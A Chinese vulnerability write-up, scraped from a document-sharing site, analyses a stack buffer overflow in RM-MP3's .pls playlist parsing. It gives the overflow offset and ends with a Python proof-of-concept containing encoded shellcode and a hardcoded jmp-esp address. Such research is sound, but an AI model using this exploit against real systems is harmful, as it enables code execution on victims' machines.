RM-MP3 pls文件溢出分析报告.docVIP

  1. 1、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
  2. 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  3. 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  4. 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  5. 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  6. 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  7. 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
RM-MP3 pls文件溢出分析报告

RM-MP3 pls文件解析缓冲区溢出漏洞分析 测试平台: Windows xp 测试工具: OllyDbg 挖掘过程: 1.根据pls格式构造超长文件路径,发现程序异常崩溃 2.查找程序崩溃点: A.用OD加载主程序,bp GetOpenFileNameA,打开pls文件,开始跟踪 B.通过一系列分析和跟踪,确定最终出现异常的call C.仔细分析该函数: 1. 该函数分配了0xAA28的变量空间,接着push了0x10字节的寄存器数据。 此时,esp距此函数返回地址:0xAA28+0x10=0xAA38字节 2. 在函数读取pls文件里的文件路径时,将从esp+0x30开始保存读取到的文件路径(test.pls里只包含一条文件路径数据): 3. 之后,将esp+0x30处数据复制到esp+0x6634处,此时,若数据过长,将覆盖函数返回地址: 4. 函数执行到最后,将恢复保存的寄存器值及平衡堆栈,此时,返回地址被覆盖: 漏洞分析: 通过跟踪,模拟出该函数主要代码执行过程中的堆栈分布图: 分析:从esp+0x6634开始的超长文件路径将覆盖返回地址。 覆盖到返回地址时,共需要:0xAA38-0x6634+0xB = 0x440F(17423)字节。 漏洞测试: import os shellcode=\ \x90\x90\x90\x90\ \x83\xC4\x14\x33\xC9\x8A\x1C\ \x0C\x80\xF3\x11\x88\x1C\x0C\x41\ \x80\xF9\x87\x75\xF1\xED\x75\xB0\ \x21\x11\x11\x11\x9A\x51\x1D\x9A\ \x51\x0D\x9A\x11\x9A\x79\x19\x9A\ \x54\x2D\x9A\x45\x14\x69\x12\xC4\ \x9A\x5B\x09\x9A\x4B\x31\x12\xCC\ \x58\x9A\x25\x9A\x12\xE4\xA9\x56\ \x74\x65\x41\x28\x17\x64\xE0\xA9\ \x63\x7E\x72\x50\x28\x57\x15\x64\ \xF6\x9A\x4B\x35\x12\xCC\x77\x9A\ \x1D\x5A\x9A\x4B\x0D\x12\xCC\x9A\ \x15\x9A\x12\xD4\x9A\xC9\x79\x69\ \x74\x72\x11\x79\x46\x78\x7F\x54\ \x45\x44\xEE\xC2\x79\x61\x70\x75\ \x11\x79\x7F\x7E\x65\x74\x9A\xDD\ \x7B\x10\x40\xEE\xC1\x79\x74\x62\ \x62\x11\x79\x41\x63\x7E\x72\x79\ \x54\x69\x78\x65\x45\x44\xEE\xC2\ \x7B\x11\xEE\xC1 file=open(test.pls,wb+) file.write(http://) file.write(A*17417) file.write(\x7B\x46\x86\x7C) #jmp esp file.write(shellcode) file.close()

文档评论(0)

hhuiws1482 + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

版权声明书
用户编号:5024214302000003

1亿VIP精品文档

相关文档